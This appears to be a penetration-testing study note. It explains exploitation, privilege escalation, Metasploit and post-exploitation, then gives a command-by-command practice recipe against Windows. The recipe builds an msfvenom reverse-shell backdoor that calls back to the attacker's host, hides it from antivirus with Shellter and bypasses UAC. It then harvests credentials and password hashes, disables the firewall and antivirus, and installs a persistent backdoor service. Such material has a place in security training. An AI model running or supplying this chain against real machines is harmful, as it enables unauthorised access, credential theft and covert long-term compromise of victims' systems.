# Concepts:

## Exploitation

The exploitation phase of a penetration test focuses solely on establishing access to a system or resource by bypassing security restrictions. If the prior phase, vulnerability analysis was performed properly, this phase should be well planned and be a precision strike. The main focus is to identify the main entry point into the organization and to identify high value target assets.

Ultimately the attack vector should take into consideration the success probability and highest impact on the organization.

Exploitation is a process involving gaining access to devices via:

* Use of exploits – prewritten codes
* Use of default credentials – admin, admin/password
* Social engineering/brute-forcing/cracking credentials

## Service-side exploit

Service-side (or server-side) attacks are launched directly from an attacker (the client) to a listening service. These attacks exploit vulnerabilities in installed services and seek to compromise and breach the data and applications that are present on a server.

Patching, system hardening, firewalls and other forms of defense-in-depth mitigate service-side attacks. Organizations should not allow direct access to server ports from untrusted networks unless the systems are hardened and placed on DMZ networks.

## Client-side exploit

Client-side attacks occur when a user downloads malicious content. Client-side attacks initiate from the victim who downloads content from the attacker. Clients include word processing software, spreadsheets, media players, web browsers, etc. These attacks execute when the client software executes the malicious content, and establishes a connection to the attacker, giving the attacker access.

Backdoor exploits are a sub-category of Client-side attacks, but rather than using existing vulnerabilities in application software, a payload is constructed independent of any application software, and used instead to execute the client-side attack.

## Local privilege escalation exploit

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources normally protected from an application or user. The result is an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.

Privilege escalation happens in 2 forms:

Vertical privilege escalation, also known as privilege elevation, where a lower privilege user or application accesses functions or content reserved for higher privilege users or applications.

Horizontal privilege escalation, where a normal user accesses functions or content reserved for other normal users.

## Metasploit Framework

Metasploit framework is a collection/suite of commonly used tools to provide a complete environment to aid pen-testers to test security vulnerabilities, enumerate networks, execute attacks and evade detection.

It is termed as a framework due to the modular or component-based approach, allowing multiple third parties to take part in the development, including writing and testing of exploit code. This framework is developed using Ruby.

Metasploit Framework modules can be split into 4 major categories:

* Exploits: Code that can take advantage of a given vulnerability in a target machine, causing to run a payload.
* Auxiliary: Provides other attack capabilities, including port scanning, vulnerability checks, DoS, DNS interrogation and so on. Miscellaneous attack components are here.
* Payloads: Payloads are a piece of code that does something such as opening up a remotely accessible command shell or gaining remote control of a target machine.
* Encoders: Alter exploits and payloads to evade detection.

## Post-exploitation

As the term suggests, post exploitation basically means the phases of operation once a victim’s system has been compromised by the attacker. The value of the compromised system is determined by the value of the actual data stored in it and how an attacker may make use of it for malicious purposes.

Phases of Post-exploitation:

* **Acquiring Situation Awareness:**

Immediately when compromising the victim’s machine, the attacker may want to achieve data regarding the host, including hostname, interfaces, routes, and services. The main goal is to enumerate the internal network, determine whether other hosts are reachable or not from the compromised host, the interfaces, and services. This is crucial for checking the security of the network along with the host.

* **Escalating Privileges:**

In this stage, the attacker will attempt to escalate the privileges to gain full access to the host machine. By gaining full access to the machine, the range of actions an attacker can do to the system expands, including critical or high-level actions limited to administrators.

* **Neutralizing Security Controls:**

It is important to disable firewall protections to perform the various tasks on the host OS. This is done so that the connection is not interrupted.

The reason to disable the antivirus is so that it doesn’t identify/delete the backdoor. It is preferred to stay unseen while conducting the penetration-testing.

* **Maintaining Access:**

Currently, while the attacker can keep the stability of the session, the attacker is unable to ascertain tenacity. Whenever the target system reboots, the session is closed, and the attacker would lose access. Thus, the attacker will access the system by mistreatment of the vulnerability antecedently exploited, either through a service, or through the registry.

# Practice:

## Creation of the malicious payload (backdoor)

msfvenom -p windows/meterpreter/reverse\_tcp -a x86 –platform windows -f exe lhost=<kali ip> lport=4444 -o /home/kali/Desktop/malware.exe

## Encoding the malicious payload (shellter)

Running shelter:

sudo shelter

Operation Mode: A

PE Target: /home/kali/Desktop/malware.exe

Stealth Mode: Y

Payload: L

Index: 1

LHOST: <kali ip>

LPORT: 4444

## Getting session + Privilege Escalation

Session:

use exploit/multi/handler

payload: windows/meterpreter/reverse\_tcp

set lhost & lport

Privilege escalation:

Background session

use exploit/windows/local/bypassuac\_comhijack

payload: windows/meterpreter/reverse\_tcp

set session to latest meterpreter session, lhost and lport

## Post Exploitation

Situation Awareness: sysinfo (system), ps (process), idletime, shell (create powershell) – arp -a (determine other hosts), run post/windows/gather/enum\_applications

Credential Harvesting: run post/windows/gather/credentials/credential\_collector, run post/windows/gather/hashdump

Neutralizing system controls: run getcountermeasure, netsh firewall show opmode (show firewall, needs shell), netsh firewall set opmode mode=disable, run killav (antivirus)

## Persistence (service method)

Background session

use exploit/windows/local/persistence\_service

set session to latest meterpreter session, set lport (ethereal port, e.g. 5678)

run

use exploit/multi/handler

payload: windows/meterpreter/reverse\_tcp

set lhost, lport (same ethereal port)

run

restart windows machine, should get a session upon restart